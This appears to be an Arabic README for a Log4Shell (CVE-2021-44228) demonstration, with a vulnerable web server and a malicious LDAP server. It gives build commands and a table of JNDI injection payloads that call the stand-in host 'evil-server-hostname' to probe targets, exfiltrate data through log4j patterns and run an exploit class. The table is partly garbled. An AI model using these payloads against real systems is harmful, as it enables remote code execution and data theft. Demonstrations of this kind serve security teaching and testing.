
عرض توضيحي لثغرة Log4Shell (CVE-2021-44228).
عرض توضيحي لثغرة Log4Shell (CVE-2021-44228).
تم بناء خادم الويب الضعيف وخادم LDAP الخبيث واختبارهما على JDK 1.8.0_181.
goodguys، قم بتشغيل gradlew bootJarjava -jar build/libs/goodguys-0.0.1-SNAPSHOT.jarbadguys، قم بتشغيل mvn packagejava -jar .\target\evil-server.jarملاحظة: قد يقوم Windows Defender بنقل
target\classes\Exploit.classإلى الحجر الصحي بهدوء.
يتم تعريف الأوامر الخبيثة داخل Exploit.java.
| الإدخال | الملاحظات |
|---|---|
${jndi:ldap://evil-server-hostname:389/Recon} | يتحقق مما إذا كان الهدف ضعيفًا من خلال الاستماع إلى طلب اتصال إلى خادم LDAP. |
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)] | أضف أي تنسيقات قوالب log4j صالحة لجمع البيانات من الهدف وعرضها في محطة المهاجم. |
${jndi:ldap://evil-server-hostname:389/Exploit} |
https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/
https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/
| تشغيل الحمولة. |